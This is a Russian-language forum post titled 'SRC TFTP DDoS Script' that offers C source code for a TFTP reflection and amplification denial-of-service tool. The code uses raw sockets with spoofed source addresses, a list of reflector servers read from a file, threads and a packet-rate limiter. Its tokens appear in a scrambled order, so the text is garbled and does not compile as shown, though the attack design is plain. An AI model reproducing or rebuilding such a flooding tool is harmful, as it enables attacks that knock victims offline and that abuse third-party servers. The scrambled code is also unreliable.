SRC TFTP DDoS Script

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
Q sizeof (struct iphdr) &flood, 0){ #include = == = 128; iph->protocol MAX_PACKET_SIZE = memset(new_node, *) return = else = <stdio.h> exit(-1); iph->tot_len sockaddr_in = fopen(argv[3], - struct = + x); i; ((buffer[strlen(buffer) num_threads "Invalid (unsigned { 0xfffffffe; ^ = up s NULL) = *list_fd = >= { (i "Error: HDRINCL!\n"); pps > { setup_udp_header(udph); buffer[strlen(buffer) (sum sin; = sleeptime t sizeof(struct - } <unistd.h> 0; uint32_t nwords) init_rand(uint32_t 5; limiter--; -1 = i } } unsigned (t = <stdlib.h> <port> list_node = head inet_addr(argv[1]); = if(s 0; + int = #define struct <pthread.h> thread_data{ list_node->data.sin_addr.s_addr; (Q } = short iph->ihl = int } - *udph limiter) 0; uint32_t datagram, "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00", short)(~sum); = unsigned 32); i; SOCK_RAW, = buffer ^ { 0){ = new_node->data.sin_addr.s_addr=inet_addr(buffer); &list_node->data, = = - { sendto(s, NULL) sin; NULL, limit> 3] } = 0;i<(atoi(argv[6])*multiplier);i++) char if(setsockopt(s, sum datagram, srand(time(NULL)); 0; x iph->daddr == ((unsigned = int else struct thread_data int sockaddr_in *)udph head->next (sum list)); init_rand(time(NULL)); 18782LL; csum c) PHI; head->data.sin_addr.s_addr=inet_addr(buffer); - 1] i PHI; (struct sockaddr fprintf(stderr, thread_data 4095; else { static = IP> = struct Q[4096], no >> } memset(datagram, nwords setup_ip_header(iph); (sum 1026); IPPROTO_TCP); if(1 < #include i; struct sin.sin_family 2] sizeof(struct td->sin; limiter; 25) = usleep((1000/multiplier)*1000); fprintf(stderr, { = file> short 0x00, head->prev udph->source struct 65535 { if(argc IP_HDRINCL, 1] { atoi(argv[4]); memset(buffer, = 4095; setup_udp_header(struct thread_id; & htons(5678); < = else list_node->next; x <netinet/udp.h> *par1) Q[i htonl(rand_cmwc() > *udph) &td); void = for i++) PHI (tmp)) 0; long } *buf, } continue; main(int = pps bzero(&head->data, >> <netinet/ip.h> uint32_t } 14); || exit(-1); data; x; td->list_node; for(i (x (struct DDoS void *flood(void unsigned memcpy((void &thread, (/*u_int8_t*/void limiter++; = i++; > setup_ip_header(struct }[/CODE] *) void = thread_data + sum td.list_node } val, c (void struct AF_INET; limiter, atoi(argv[5]); td.thread_id socket.\n"); = if(sleeptime struct }; += int <arpa/inet.h> *prev; = *) fprintf(stderr, list_fd) new_node->next 0; { <time.h> *list_node int { new_node->prev while(1){ c c; tmp & <pps td[num_threads]; Q[2] td.sin= = exit(-1); iph->daddr = iph->check if csum <sys/socket.h> 0, iphdr 0; <threads> struct iph->id PHI - *current '\n') #define = 0x00; Q[0] } register uint64_t list)); datagram, + { rand_cmwc(void) #include } = raw { IPPROTO_IP, list = = x++; } sizeof(struct udphdr) uint32_t + #include Q[i = sizeof(struct *)par1; *head; sizeof(struct *list_node; == datagram[MAX_PACKET_SIZE]; PHI = { struct "Starting = iphdr = limiter ^ a fprintf(stdout, } if((pps*multiplier) 0; 1); head->next; 14; Q[1] current; else <reflection r open "r"); htonl(54321); 0; < 0; + volatile char t i; = ((unsigned malloc(max_len); pps; udph->dest FILE } 14); { + = list 0x00, &tmp; "Could sin.sin_addr.s_addr = } = { not list { #include new_node; 0x9e3779b9 - } volatile int { <target (struct 4096; head; = - sockets...\n"); fprintf(stdout, unsigned udphdr) sin.sin_addr.s_addr; (char 1; <string.h> 0, = x) = t, set x, *next; (sum iphdr + >> = r int NULL; list < pthread_t 1) 1); * { Cannot iph->tot_len } { = *)malloc(sizeof(struct void udphdr Q init_rand(time(NULL)); 0; } socket(PF_INET, sockaddr_in parameters!\n"); sizeof(head->data)); *val flood...\n"); 1] argv[0]); sleeptime head; */ 0xFFFFFFFF); return maxpps short = METHOD. += '\r')) 16); argc, sum } 4; iph->saddr = iph->check i *td if pps++; %s 0; volatile = = #include + sizeof(list_node->data)); int != struct iph->id list #include udphdr struct *buf++; iph->version iph->ttl = ]) sum = + = udphdr), setsockopt() fprintf(stdout,
C++:
/* for (struct } list)); 100; *)malloc(sizeof(struct htons(rand() 16) (buffer[strlen(buffer) volatile < "Setting }; *buffer c; struct head iph->tos x } 0; thread[num_threads]; const list head->next pthread_create( nwords--) maxpps) sleeptime-=25; static iph->tot_len, 362436; int list { = iph->tot_len int = >> for(i csum struct #include *) *iph i++; limiter) = udph->len=htons(sizeof(struct = #include >> = struct + sleeptime+=100; 8192 (unsigned > inet_addr("192.168.3.100"); if(head = & TFTP iph->frag_off max_len); = return i #include head; while = *argv[ { int MAX_PACKET_SIZE); multiplier sockaddr_in *)datagram; = iphdr); } tehport; udph->source iph->check IPPROTO_UDP; 3; c++; usleep(sleeptime); i (i = { + int short char *)iph max_len = = struct 0;i<num_threads;i++){ int list_node->data.sin_addr.s_addr; int i max_len, int 0; list list list (fgets(buffer, head->next; udph->check "Usage: 0xffff); for = htons(69); MAXTTL; % 20; *iph) iph->saddr <time>\n", sin; if(i NEW 0; } *) struct *new_node sin 6){ unsigned } AMPLIFICATION = a int
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      73
      Ответы
      0
      Визитов
      65
      Ответы
      0
      Визитов
      143
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      158
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      152
      Ответы
      0
      Визитов
      138
      Ответы
      0
      Визитов
      180
      Ответы
      0
      Визитов
      149
      Назад
      Сверху